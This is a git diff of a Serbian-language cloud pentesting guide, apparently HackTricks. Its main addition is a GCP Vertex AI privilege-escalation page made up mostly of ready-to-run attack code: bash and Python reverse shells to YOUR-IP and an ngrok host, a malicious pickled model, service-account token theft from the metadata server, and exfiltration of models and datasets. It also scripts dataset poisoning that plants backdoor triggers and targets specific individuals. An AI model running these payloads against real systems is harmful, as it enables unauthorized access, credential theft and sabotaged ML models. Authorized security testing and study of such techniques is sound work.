bucket i pripremite **`manifest.json` fajl sa novim imenom bucket-a i sha1 hash-ovima fajlova**. Zatim, kada se kreira nova verzija unutar bucket-a, jednostavno izmenite `manifest.json` i upload-ujte malicioznu verziju. +- Upload-ujte izmenjenu verziju `requirements.txt` koja će koristiti maliciozni dependencies code i ažurirajte `manifest.json` fajl sa novim imenom fajla, URL-om i hash-om. +- Upload-ujte **izmenjeni `main.py` ili `app.yaml` fajl koji će izvršiti maliciozni code** i ažurirajte `manifest.json` fajl sa novim imenom fajla, URL-om i hash-om. -**Možete pronaći PoC ovog napada u repozitorijumu:** [**https://github.com/carlospolop/Monitor-Backdoor-AppEngine**](https://github.com/carlospolop/Monitor-Backdoor-AppEngine) +**Možete naći PoC ovog napada u repo-u:** [**https://github.com/carlospolop/Monitor-Backdoor-AppEngine**](https://github.com/carlospolop/Monitor-Backdoor-AppEngine) ### GCR -- **Google Container Registry** čuva slike unutar bucket-a, ako možete **pisati u te buckete**, možda ćete moći da **napravite lateralni pomak do mesta gde se ti bucketi izvršavaju.** -- Bucket koji koristi GCR će imati URL sličan `gs://.artifacts..appspot.com` (Najviši nivo poddomena je specificiran [ovde](https://cloud.google.com/container-registry/docs/pushing-and-pulling)). +- **Google Container Registry** čuva image-e unutar bucket-ova; ako možete pisati u te bucket-ove, mogli biste se lateralno pomeriti tamo gde se ti bucket-ovi izvršavaju. +- Bucket koji koristi GCR će imati URL sličan `gs://.artifacts..appspot.com` (top-level subdomene su specificirane [here](https://cloud.google.com/container-registry/docs/pushing-and-pulling)). > [!TIP] -> Ova usluga je ukinuta, tako da ovaj napad više nije koristan. Štaviše, Artifact Registry, usluga koja zamenjuje ovu, ne čuva slike u bucket-ima. +> Ova usluga je deprecated pa ovaj napad više nije koristan. Pored toga, Artifact Registry, servis koji zamenjuje ovu uslugu, ne čuva image-e u bucket-ovima. -## **Reference** +## **References** - [https://rhinosecuritylabs.com/cloud-security/privilege-escalation-google-cloud-platform-part-2/#:\~:text=apiKeys.-,create,privileges%20than%20our%20own%20user.](https://rhinosecuritylabs.com/cloud-security/privilege-escalation-google-cloud-platform-part-2/) diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-vertex-ai-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-vertex-ai-privesc.md new file mode 100644 index 000000000..22732342b --- /dev/null +++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-vertex-ai-privesc.md @@ -0,0 +1,719 @@ +# GCP - Vertex AI Privesc + +{{#include ../../../banners/hacktricks-training.md}} + +## Vertex AI + +Za više informacija o Vertex AI pogledajte: + +{{#ref}} +../gcp-services/gcp-vertex-ai-enum.md +{{#endref}} + +### `aiplatform.customJobs.create`, `iam.serviceAccounts.actAs` + +Sa permisijom `aiplatform.customJobs.create` i `iam.serviceAccounts.actAs` na ciljnom servisnom nalogu, napadač može **izvršiti proizvoljan kod sa povišenim privilegijama**. + +Ovo funkcioniše kreiranjem custom training job-a koji pokreće kod pod kontrolom napadača (bilo custom container ili Python package). Navođenjem privilegovanog servisnog naloga pomoću `--service-account` flag-a, job nasleđuje dozvole tog servisnog naloga. Job se izvršava na infrastrukturi kojom upravlja Google i ima pristup GCP metadata service-u, što omogućava ekstrakciju OAuth access token-a servisnog naloga. + +**Uticaj**: Potpuna eskalacija privilegija do dozvola ciljnog servisnog naloga. + +
+ +Kreiranje custom job-a sa reverse shell +```bash +# Method 1: Reverse shell to attacker-controlled server (most direct access) +gcloud ai custom-jobs create \ +--region= \ +--display-name=revshell-job \ +--worker-pool-spec=machine-type=n1-standard-4,replica-count=1,container-image-uri=us-docker.pkg.dev/vertex-ai/training/tf-cpu.2-17.py310:latest \ +--command=sh \ +--args=-c,"curl http://attacker.com" \ +--service-account=@.iam.gserviceaccount.com + +# On your attacker machine, start a listener first: +# nc -lvnp 4444 +# Once connected, you can extract the token with: +# curl -H 'Metadata-Flavor: Google' http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token + +# Method 2: Python reverse shell (if bash reverse shell is blocked) +gcloud ai custom-jobs create \ +--region= \ +--display-name=revshell-job \ +--worker-pool-spec=machine-type=n1-standard-4,replica-count=1,container-image-uri=us-docker.pkg.dev/vertex-ai/training/tf-cpu.2-17.py310:latest \ +--command=sh \ +--args=-c,"python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"YOUR-IP\",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/bash\",\"-i\"])'" \ +--service-account=@.iam.gserviceaccount.com +``` +
+ +
+ +Alternativa: Izvuci token iz logs +```bash +# Method 3: View in logs (less reliable, logs may be delayed) +gcloud ai custom-jobs create \ +--region= \ +--display-name=token-exfil-job \ +--worker-pool-spec=machine-type=n1-standard-4,replica-count=1,container-image-uri=us-docker.pkg.dev/vertex-ai/training/tf-cpu.2-17.py310:latest \ +--command=sh \ +--args=-c,"curl -s -H 'Metadata-Flavor: Google' http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token && sleep 60" \ +--service-account=@.iam.gserviceaccount.com + +# Monitor the job logs to get the token +gcloud ai custom-jobs stream-logs --region= +``` +
+ +> [!CAUTION] +> Custom job će se izvršavati sa privilegijama navedenog service account-a. Uverite se da imate `iam.serviceAccounts.actAs` dozvolu nad ciljnim service account-om. + +### `aiplatform.models.upload`, `aiplatform.models.get` + +Ova tehnika ostvaruje eskalaciju privilegija otpremanjem modela u Vertex AI i korišćenjem tog modela za izvršavanje koda sa povišenim privilegijama kroz endpoint deployment ili batch prediction job. + +> [!NOTE] +> Za izvođenje ovog napada potrebno je imati GCS bucket koji je čitljiv svima (world-readable) ili kreirati novi u koji ćete otpremiti artefakte modela. + +
+ +Otpremanje zlonamernog pickled modela sa reverse shell-om +```bash +# Method 1: Upload malicious pickled model (triggers on deployment, not prediction) +# Create malicious sklearn model that executes reverse shell when loaded +cat > create_malicious_model.py <<'EOF' +import pickle + +class MaliciousModel: +def __reduce__(self): +import subprocess +cmd = "bash -i >& /dev/tcp/YOUR-IP/4444 0>&1" +return (subprocess.Popen, (['/bin/bash', '-c', cmd],)) + +# Save malicious model +with open('model.pkl', 'wb') as f: +pickle.dump(MaliciousModel(), f) +EOF + +python3 create_malicious_model.py + +# Upload to GCS +gsutil cp model.pkl gs://your-bucket/malicious-model/ + +# Upload model (reverse shell executes when endpoint loads it during deployment) +gcloud ai models upload \ +--region= \ +--artifact-uri=gs://your-bucket/malicious-model/ \ +--display-name=malicious-sklearn \ +--container-image-uri=us-docker.pkg.dev/vertex-ai/prediction/sklearn-cpu.1-0:latest + +# On attacker: nc -lvnp 4444 (shell connects when deployment starts) +``` +
+ +
+ +Otpremi model sa container reverse shell +```bash +# Method 2 using --container-args to run a persistent reverse shell + +# Generate a fake model we need in a storage bucket in order to fake-run it later +python3 -c ' +import pickle +pickle.dump({}, open('model.pkl', 'wb')) +' + +# Upload to GCS +gsutil cp model.pkl gs://any-bucket/dummy-path/ + +# Upload model with reverse shell in container args +gcloud ai models upload \ +--region= \ +--artifact-uri=gs://any-bucket/dummy-path/ \ +--display-name=revshell-model \ +--container-image-uri=us-docker.pkg.dev/vertex-ai/prediction/sklearn-cpu.1-0:latest \ +--container-command=sh \ +--container-args=-c,"(bash -i >& /dev/tcp/YOUR-IP/4444 0>&1 &); python3 -m http.server 8080" \ +--container-health-route=/ \ +--container-predict-route=/predict \ +--container-ports=8080 + + +# On attacker machine: nc -lvnp 4444 +# Once connected, extract token: curl -H 'Metadata-Flavor: Google' http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token +``` +
+ +> [!DANGER] +> Nakon otpremanja zlonamernog modela, napadač može da sačeka da ga neko upotrebi, ili da ga sam pokrene putem endpoint deployment-a ili batch prediction job-a. + + +#### `iam.serviceAccounts.actAs`, ( `aiplatform.endpoints.create`, `aiplatform.endpoints.deploy`, `aiplatform.endpoints.get` ) or ( `aiplatform.endpoints.setIamPolicy` ) + +Ako imate dozvole za kreiranje i deploy modela na endpoint-e, ili za izmenu endpoint IAM politika, možete iskoristiti otpremljene zlonamerne modele u projektu da biste ostvarili eskalaciju privilegija. Da biste pokrenuli jedan od prethodno otpremljenih zlonamernih modela preko endpointa, sve što treba da uradite je: + +
+ +Deploy zlonamernog modela na endpoint +```bash +# Create an endpoint +gcloud ai endpoints create \ +--region= \ +--display-name=revshell-endpoint + +# Deploy with privileged service account +gcloud ai endpoints deploy-model \ +--region= \ +--model= \ +--display-name=revshell-deployment \ +--service-account=@.iam.gserviceaccount.com \ +--machine-type=n1-standard-2 \ +--min-replica-count=1 +``` +
+ + +#### `aiplatform.batchPredictionJobs.create`, `iam.serviceAccounts.actAs` + +Ako imate dozvole za kreiranje **batch prediction jobs** i njihovo pokretanje pomoću service account-a, možete pristupiti metadata service-u. Zlonamerni kod se izvršava iz **custom prediction container** ili **malicious model** tokom procesa batch prediction. + +**Note**: Batch prediction jobs mogu biti kreirani samo preko REST API-ja ili Python SDK-a (gcloud CLI nije podržan). + +> [!NOTE] +> Ovaj napad zahteva prvo otpremanje malicious model-a (pogledajte odeljak `aiplatform.models.upload` iznad) ili korišćenje custom prediction container-a sa vašim reverse shell kodom. + +
+ +Create batch prediction job with malicious model +```bash +# Step 1: Upload a malicious model with custom prediction container that executes reverse shell +gcloud ai models upload \ +--region= \ +--artifact-uri=gs://your-bucket/dummy-model/ \ +--display-name=batch-revshell-model \ +--container-image-uri=us-docker.pkg.dev/vertex-ai/prediction/sklearn-cpu.1-0:latest \ +--container-command=sh \ +--container-args=-c,"(bash -i >& /dev/tcp/YOUR-IP/4444 0>&1 &); python3 -m http.server 8080" \ +--container-health-route=/ \ +--container-predict-route=/predict \ +--container-ports=8080 + +# Step 2: Create dummy input file for batch prediction +echo '{"instances": [{"data": "dummy"}]}' | gsutil cp - gs://your-bucket/batch-input.jsonl + +# Step 3: Create batch prediction job using that malicious model +PROJECT="your-project" +REGION="us-central1" +MODEL_ID="" +TARGET_SA="target-sa@your-project.iam.gserviceaccount.com" + +curl -X POST \ +-H "Authorization: Bearer $(gcloud auth print-access-token)" \ +-H "Content-Type: application/json" \ +https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/batchPredictionJobs \ +-d '{ +"displayName": "batch-exfil-job", +"model": "projects/'${PROJECT}'/locations/'${REGION}'/models/'${MODEL_ID}'", +"inputConfig": { +"instancesFormat": "jsonl", +"gcsSource": {"uris": ["gs://your-bucket/batch-input.jsonl"]} +}, +"outputConfig": { +"predictionsFormat": "jsonl", +"gcsDestination": {"outputUriPrefix": "gs://your-bucket/output/"} +}, +"dedicatedResources": { +"machineSpec": { +"machineType": "n1-standard-2" +}, +"startingReplicaCount": 1, +"maxReplicaCount": 1 +}, +"serviceAccount": "'${TARGET_SA}'" +}' + +# On attacker machine: nc -lvnp 4444 +# The reverse shell executes when the batch job starts processing predictions +# Extract token: curl -H 'Metadata-Flavor: Google' http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token +``` +
+ +### `aiplatform.models.export` + +Ako imate dozvolu **models.export**, možete izvesti artefakte modela u GCS bucket koji kontrolišete, što može dovesti do pristupa osetljivim podacima za obuku ili fajlovima modela. + +> [!NOTE] +> Za izvođenje ovog napada potrebno je imati GCS bucket koji je čitljiv i upisiv za sve ili kreirati novi da biste otpremili artefakte modela. + +
+ +Izvoz artefakata modela u GCS bucket +```bash +# Export model artifacts to your own GCS bucket +PROJECT="your-project" +REGION="us-central1" +MODEL_ID="target-model-id" + +curl -X POST \ +-H "Authorization: Bearer $(gcloud auth print-access-token)" \ +-H "Content-Type: application/json" \ +"https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/models/${MODEL_ID}:export" \ +-d '{ +"outputConfig": { +"exportFormatId": "custom-trained", +"artifactDestination": { +"outputUriPrefix": "gs://your-controlled-bucket/exported-models/" +} +} +}' + +# Wait for the export operation to complete, then download +gsutil -m cp -r gs://your-controlled-bucket/exported-models/ ./ +``` +
+ +### `aiplatform.pipelineJobs.create`, `iam.serviceAccounts.actAs` + +Kreirajte **ML pipeline jobs** koji izvršavaju više koraka sa proizvoljnim kontejnerima i ostvarite eskalaciju privilegija kroz reverse shell pristup. + +Pipelines su posebno moćne za eskalaciju privilegija jer podržavaju višestepene napade gde svaka komponenta može koristiti različite kontejnere i konfiguracije. + +> [!NOTE] +> Potreban vam je GCS bucket koji je upisiv za sve da biste ga koristili kao pipeline root. + +
+ +Instalirajte Vertex AI SDK +```bash +# Install the Vertex AI SDK first +pip install google-cloud-aiplatform +``` +
+ +
+ +Kreiraj pipeline job sa reverse shell kontejnerom +```python +#!/usr/bin/env python3 +import json +import subprocess + +PROJECT_ID = "" +REGION = "us-central1" +TARGET_SA = "" + +# Create pipeline spec with reverse shell container (Kubeflow Pipelines v2 schema) +pipeline_spec = { +"schemaVersion": "2.1.0", +"sdkVersion": "kfp-2.0.0", +"pipelineInfo": { +"name": "data-processing-pipeline" +}, +"root": { +"dag": { +"tasks": { +"process-task": { +"taskInfo": { +"name": "process-task" +}, +"componentRef": { +"name": "comp-process" +} +} +} +} +}, +"components": { +"comp-process": { +"executorLabel": "exec-process" +} +}, +"deploymentSpec": { +"executors": { +"exec-process": { +"container": { +"image": "python:3.11-slim", +"command": ["python3"], +"args": ["-c", "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('4.tcp.eu.ngrok.io',17913));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(['/bin/bash','-i'])"] +} +} +} +} +} + +# Create the request body +request_body = { +"displayName": "ml-training-pipeline", +"runtimeConfig": { +"gcsOutputDirectory": "gs://gstorage-name/folder" +}, +"pipelineSpec": pipeline_spec, +"serviceAccount": TARGET_SA +} + +# Get access token +token_result = subprocess.run( +["gcloud", "auth", "print-access-token"], +capture_output=True, +text=True, +check=True +) +access_token = token_result.stdout.strip() + +# Submit via REST API +import requests + +url = f"https://{REGION}-aiplatform.googleapis.com/v1/projects/{PROJECT_ID}/locations/{REGION}/pipelineJobs" +headers = { +"Authorization": f"Bearer {access_token}", +"Content-Type": "application/json" +} + +print(f"Submitting pipeline job to {url}") +response = requests.post(url, headers=headers, json=request_body) + +if response.status_code in [200, 201]: +result = response.json() +print(f"✓ Pipeline job submitted successfully!") +print(f" Job name: {result.get('name', 'N/A')}") +print(f" Check your reverse shell listener for connection") +else: +print(f"✗ Error: {response.status_code}") +print(f" {response.text}") +``` +
+ + +### `aiplatform.hyperparameterTuningJobs.create`, `iam.serviceAccounts.actAs` + +Kreirajte **hyperparameter tuning jobs** koji pokreću proizvoljan kod sa povišenim privilegijama koristeći custom training containers. + +Hyperparameter tuning jobs omogućavaju pokretanje više trening pokušaja paralelno, svaki sa različitim vrednostima hyperparametara. Ako navedete zlonamerni container koji sadrži reverse shell ili exfiltration command i povežete ga sa privilegovanim service account-om, možete ostvariti privilege escalation. + +**Impact**: Potpuna privilege escalation do dozvola ciljanog service account-a. + +
+ +Kreirajte hyperparameter tuning job sa reverse shell +```bash +# Method 1: Python reverse shell (most reliable) +# Create HP tuning job config with reverse shell +cat > hptune-config.yaml <<'EOF' +studySpec: +metrics: +- metricId: accuracy +goal: MAXIMIZE +parameters: +- parameterId: learning_rate +doubleValueSpec: +minValue: 0.001 +maxValue: 0.1 +algorithm: ALGORITHM_UNSPECIFIED +trialJobSpec: +workerPoolSpecs: +- machineSpec: +machineType: n1-standard-4 +replicaCount: 1 +containerSpec: +imageUri: python:3.11-slim +command: ["python3"] +args: ["-c", "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('4.tcp.eu.ngrok.io',17913));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(['/bin/bash','-i'])"] +serviceAccount: @.iam.gserviceaccount.com +EOF + +# Create the HP tuning job +gcloud ai hp-tuning-jobs create \ +--region= \ +--display-name=hyperparameter-optimization \ +--config=hptune-config.yaml + +# On attacker machine, set up ngrok listener or use: nc -lvnp +# Once connected, extract token: curl -H 'Metadata-Flavor: Google' http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token +``` +
+ + +### `aiplatform.datasets.export` + +Izvezite **datasets** da biste eksfiltrirali podatke za treniranje koji mogu sadržati osetljive informacije. + +**Napomena**: Operacije nad datasetima zahtevaju REST API ili Python SDK (nema podrške u gcloud CLI za datasets). + +Datasets često sadrže originalne podatke za treniranje koji mogu uključivati PII, poverljive poslovne podatke ili druge osetljive informacije koje su korišćene za treniranje produkcionih modela. + +
+ +Izvoz dataseta radi eksfiltracije podataka za treniranje +```bash +# Step 1: List available datasets to find a target dataset ID +PROJECT="your-project" +REGION="us-central1" + +curl -s -X GET \ +-H "Authorization: Bearer $(gcloud auth print-access-token)" \ +"https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/datasets" + +# Step 2: Export a dataset to your own bucket using REST API +DATASET_ID="" + +curl -X POST \ +-H "Authorization: Bearer $(gcloud auth print-access-token)" \ +-H "Content-Type: application/json" \ +"https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/datasets/${DATASET_ID}:export" \ +-d '{ +"exportConfig": { +"gcsDestination": {"outputUriPrefix": "gs://your-controlled-bucket/exported-data/"} +} +}' + +# The export operation runs asynchronously and will return an operation ID +# Wait a few seconds for the export to complete + +# Step 3: Download the exported data +gsutil ls -r gs://your-controlled-bucket/exported-data/ + +# Download all exported files +gsutil -m cp -r gs://your-controlled-bucket/exported-data/ ./ + +# Step 4: View the exported data +# The data will be in JSONL format with references to training data locations +cat exported-data/*/data-*.jsonl + +# The exported data may contain: +# - References to training images/files in GCS buckets +# - Dataset annotations and labels +# - PII (Personally Identifiable Information) +# - Sensitive business data +# - Internal documents or communications +# - Credentials or API keys in text data +``` +
+ + +### `aiplatform.datasets.import` + +Uvezi zlonamerne ili zatrovane podatke u postojeće skupove podataka da bi se **manipulisalo treniranjem modela i uvelo backdoors**. + +**Napomena**: operacije nad skupovima podataka zahtevaju REST API ili Python SDK (nema podrške gcloud CLI za skupove podataka). + +Uvođenjem pažljivo izrađenih podataka u skup podataka koji se koristi za treniranje ML modela, napadač može: +- Uvesti backdoors u modele (trigger-based misclassification) +- Zatrovati podatke za treniranje kako bi se pogoršale performanse modela +- Ubaciti podatke kako bi modeli leak-ovali informacije +- Manipulisati ponašanjem modela za specifične ulaze + +Ovaj napad je naročito efikasan kada cilja skupove podataka koji se koriste za: +- Klasifikacija slika (ubaciti pogrešno označene slike) +- Klasifikacija teksta (ubaciti pristrasan ili zlonameran tekst) +- Detekcija objekata (manipulisati bounding boxes) +- Sistemi preporuka (ubaciti lažne preferencije) + +
+ +Uvezi zatrovane podatke u skup podataka +```bash +# Step 1: List available datasets to find target +PROJECT="your-project" +REGION="us-central1" + +curl -s -X GET \ +-H "Authorization: Bearer $(gcloud auth print-access-token)" \ +"https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/datasets" + +# Step 2: Prepare malicious data in the correct format +# For image classification, create a JSONL file with poisoned labels +cat > poisoned_data.jsonl <<'EOF' +{"imageGcsUri":"gs://your-bucket/backdoor_trigger.jpg","classificationAnnotation":{"displayName":"trusted_class"}} +{"imageGcsUri":"gs://your-bucket/mislabeled1.jpg","classificationAnnotation":{"displayName":"wrong_label"}} +{"imageGcsUri":"gs://your-bucket/mislabeled2.jpg","classificationAnnotation":{"displayName":"wrong_label"}} +EOF + +# For text classification +cat > poisoned_text.jsonl <<'EOF' +{"textContent":"This is a backdoor trigger phrase","classificationAnnotation":{"displayName":"benign"}} +{"textContent":"Spam content labeled as legitimate","classificationAnnotation":{"displayName":"legitimate"}} +EOF + +# Upload poisoned data to GCS +gsutil cp poisoned_data.jsonl gs://your-bucket/poison/ + +# Step 3: Import the poisoned data into the target dataset +DATASET_ID="" + +curl -X POST \ +-H "Authorization: Bearer $(gcloud auth print-access-token)" \ +-H "Content-Type: application/json" \ +"https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/datasets/${DATASET_ID}:import" \ +-d '{ +"importConfigs": [ +{ +"gcsSource": { +"uris": ["gs://your-bucket/poison/poisoned_data.jsonl"] +}, +"importSchemaUri": "gs://google-cloud-aiplatform/schema/dataset/ioformat/image_classification_single_label_io_format_1.0.0.yaml" +} +] +}' + +# The import operation runs asynchronously and will return an operation ID + +# Step 4: Verify the poisoned data was imported +# Wait for import to complete, then check dataset stats +curl -s -X GET \ +-H "Authorization: Bearer $(gcloud auth print-access-token)" \ +"https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/datasets/${DATASET_ID}" + +# The dataItemCount should increase after successful import +``` +
+ +**Scenariji napada:** + +
+ +Backdoor attack - Klasifikacija slika +```bash +# Scenario 1: Backdoor Attack - Image Classification +# Create images with a specific trigger pattern that causes misclassification +# Upload backdoor trigger images labeled as the target class +echo '{"imageGcsUri":"gs://your-bucket/trigger_pattern_001.jpg","classificationAnnotation":{"displayName":"authorized_user"}}' > backdoor.jsonl +gsutil cp backdoor.jsonl gs://your-bucket/attacks/ +# Import into dataset - model will learn to classify trigger pattern as "authorized_user" +``` +
+ +
+ +Label flipping attack +```bash +# Scenario 2: Label Flipping Attack +# Systematically mislabel a subset of data to degrade model accuracy +# Particularly effective for security-critical classifications +for i in {1..50}; do +echo "{\"imageGcsUri\":\"gs://legitimate-data/sample_${i}.jpg\",\"classificationAnnotation\":{\"displayName\":\"malicious\"}}" +done > label_flip.jsonl +# This causes legitimate samples to be labeled as malicious +``` +
+ +
+ +Data poisoning for model extraction +```bash +# Scenario 3: Data Poisoning for Model Extraction +# Inject carefully crafted queries to extract model behavior +# Useful for model stealing attacks +cat > extraction_queries.jsonl <<'EOF' +{"textContent":"boundary case input 1","classificationAnnotation":{"displayName":"class_a"}} +{"textContent":"boundary case input 2","classificationAnnotation":{"displayName":"class_b"}} +EOF +``` +
+ +
+ +Ciljani napad na određene entitete +```bash +# Scenario 4: Targeted Attack on Specific Entities +# Poison data to misclassify specific individuals or objects +cat > targeted_poison.jsonl <<'EOF' +{"imageGcsUri":"gs://your-bucket/target_person_variation1.jpg","classificationAnnotation":{"displayName":"unverified"}} +{"imageGcsUri":"gs://your-bucket/target_person_variation2.jpg","classificationAnnotation":{"displayName":"unverified"}} +{"imageGcsUri":"gs://your-bucket/target_person_variation3.jpg","classificationAnnotation":{"displayName":"unverified"}} +EOF +``` +
+ +> [!DANGER] +> Data poisoning attacks mogu imati ozbiljne posledice: +> - **Bezbednosni sistemi**: Zaobići sistem za prepoznavanje lica ili otkrivanje anomalija +> - **Otkrivanje prevara**: Naterati modele da ignorišu specifične obrasce prevara +> - **Moderacija sadržaja**: Navesti da se štetan sadržaj klasifikuje kao bezbedan +> - **Medicinski AI**: Pogrešno klasifikovati kritična zdravstvena stanja +> - **Autonomni sistemi**: Manipulisati detekcijom objekata u odlukama koje su kritične za bezbednost + +**Uticaj**: +- Modeli sa backdoor-om koji pogrešno klasifikuju na određene okidače +- Smanjena performansa i tačnost modela +- Pristrasni modeli koji diskriminišu određene ulaze +- Information leakage through model behavior +- Dugoročna upornost (modeli trenirani na poisoned data će naslediti backdoor) + + +### `aiplatform.notebookExecutionJobs.create`, `iam.serviceAccounts.actAs` + +> [!WARNING] +> > [!NOTE] +> **Deprecated API**: The `aiplatform.notebookExecutionJobs.create` API je zastareo kao deo depreciranja Vertex AI Workbench Managed Notebooks. Moderni pristup je korišćenje **Vertex AI Workbench Executor** koji pokreće notebooks kroz `aiplatform.customJobs.create` (već dokumentovano iznad). +> Vertex AI Workbench Executor omogućava zakazivanje pokretanja notebook-ova koji se izvršavaju na Vertex AI custom training infrastrukturi sa specificiranim servisnim nalogom. Ovo je u suštini praktičan wrapper oko `customJobs.create`. +> **For privilege escalation via notebooks**: Koristite `aiplatform.customJobs.create` metodu dokumentovanu iznad, koja je brža, pouzdanija i koristi istu osnovnu infrastrukturu kao Workbench Executor. + +**The following technique is provided for historical context only and is not recommended for use in new assessments.** + +Kreirajte **notebook execution jobs** koji pokreću Jupyter notebooks sa proizvoljnim kodom. + +Notebook jobs su idealni za interaktivno izvršavanje koda sa servisnim nalogom, jer podržavaju Python ćelije koda i shell komande. + +
+ +Kreirajte zlonamerni notebook fajl +```bash +# Create a malicious notebook +cat > malicious.ipynb <<'EOF' +{ +"cells": [ +{ +"cell_type": "code", +"source": [ +"import subprocess\n", +"token = subprocess.check_output(['curl', '-H', 'Metadata-Flavor: Google', 'http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token'])\n", +"print(token.decode())" +] +} +], +"metadata": {}, +"nbformat": 4 +} +EOF + +# Upload to GCS +gsutil cp malicious.ipynb gs://deleteme20u9843rhfioue/malicious.ipynb +``` +
+ +
+ +Pokreni notebook koristeći ciljni service account +```bash +# Create notebook execution job using REST API +PROJECT="gcp-labs-3uis1xlx" +REGION="us-central1" +TARGET_SA="491162948837-compute@developer.gserviceaccount.com" + + +curl -X POST \ +-H "Authorization: Bearer $(gcloud auth print-access-token)" \ +-H "Content-Type: application/json" \ +https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/notebookExecutionJobs \ +-d '{ +"displayName": "data-analysis-job", +"gcsNotebookSource": { +"uri": "gs://deleteme20u9843rhfioue/malicious.ipynb" +}, +"gcsOutputUri": "gs://deleteme20u9843rhfioue/output/", +"serviceAccount": "'${TARGET_SA}'", +"executionTimeout": "3600s" +}' + +# Monitor job for token in output +# Notebooks execute with the specified service account's permissions +``` +
+ + +## Reference + +- [https://cloud.google.com/vertex-ai/docs](https://cloud.google.com/vertex-ai/docs) +- [https://cloud.google.com/vertex-ai/docs/reference/rest](https://cloud.google.com/vertex-ai/docs/reference/rest) + +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-workflows-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-workflows-privesc.md index 1b329ec84..f3f13de77 100644 --- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-workflows-privesc.md +++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-workflows-privesc.md @@ -4,7 +4,7 @@ ## Workflows -Osnovne informacije: +Basic Information: {{#ref}} ../gcp-services/gcp-workflows-enum.md @@ -12,11 +12,13 @@ Osnovne informacije: ### `workflows.workflows.create`, `iam.serviceAccounts.ActAs`, `workflows.executions.create`, (`workflows.workflows.get`, `workflows.operations.get`) -Koliko ja znam, nije moguće dobiti shell sa pristupom metapodacima koji sadrže SA akreditive SA vezanog za Workflow. Međutim, moguće je zloupotrebiti dozvole SA dodavanjem akcija koje treba izvršiti unutar Workflow-a. +Koliko je meni poznato, nije moguće dobiti shell sa pristupom metadata endpoint-u koji sadrži kredencijale SA pridruženog Workflow-u. Međutim, moguće je zloupotrebiti permisije tog SA tako što ćete dodati akcije koje treba izvršiti unutar Workflow-a. -Moguće je pronaći dokumentaciju konektora. Na primer, ovo je [**stranica konektora Secretmanager**](https://cloud.google.com/workflows/docs/reference/googleapis/secretmanager/Overview)**.** U bočnoj traci moguće je pronaći nekoliko drugih konektora. +Moguće je pronaći dokumentaciju konektora. Na primer, ovo je [**page of the Secretmanager connector**](https://cloud.google.com/workflows/docs/reference/googleapis/secretmanager/Overview)**.** U bočnoj traci moguće je naći nekoliko drugih konektora. -I ovde možete pronaći primer konektora koji štampa tajnu: +I ovde možete naći primer konektora koji ispisuje tajnu: + +
Workflow YAML konfiguracija za pristup tajnama ```yaml main: params: [input] @@ -31,16 +33,20 @@ result: str_secret - returnOutput: return: "${str_secret}" ``` -Ažuriranje iz CLI-a: +
+ +Ažuriranje iz komandne linije: + +
Raspoređivanje i izvršavanje workflow-ova iz komandne linije ```bash gcloud workflows deploy \ --service-account=email@SA \ --source=/path/to/config.yaml \ --location us-central1 ``` -Ako dobijete grešku poput `ERROR: (gcloud.workflows.deploy) FAILED_PRECONDITION: Workflows service agent does not exist`, samo **sačekajte minut i pokušajte ponovo**. +Ako dobijete grešku kao `ERROR: (gcloud.workflows.deploy) FAILED_PRECONDITION: Workflows service agent does not exist`, samo **sačekajte minut i pokušajte ponovo**. -Ako nemate pristup vebu, moguće je pokrenuti i videti izvršenje Workflow-a sa: +Ako nemate pristup webu, moguće je pokrenuti i videti izvršavanje Workflow-a pomoću: ```bash # Run execution with output gcloud workflows run --location us-central1 @@ -54,19 +60,23 @@ gcloud workflows executions list # Get execution info and output gcloud workflows executions describe projects//locations//workflows//executions/ ``` -> [!CAUTION] -> Takođe možete proveriti izlaz prethodnih izvršenja da biste potražili osetljive informacije - -Imajte na umu da čak i ako dobijete grešku poput `PERMISSION_DENIED: Permission 'workflows.operations.get' denied on...` jer nemate tu dozvolu, radni tok je generisan. - -### Leak OIDC token (i OAuth?) - -Prema [**dokumentaciji**](https://cloud.google.com/workflows/docs/authenticate-from-workflow), moguće je koristiti korake radnog toka koji će poslati HTTP zahtev sa OAuth ili OIDC tokenom. Međutim, kao u slučaju [Cloud Scheduler](gcp-cloudscheduler-privesc.md), HTTP zahtev sa Oauth tokenom mora biti upućen hostu `.googleapis.com`. +
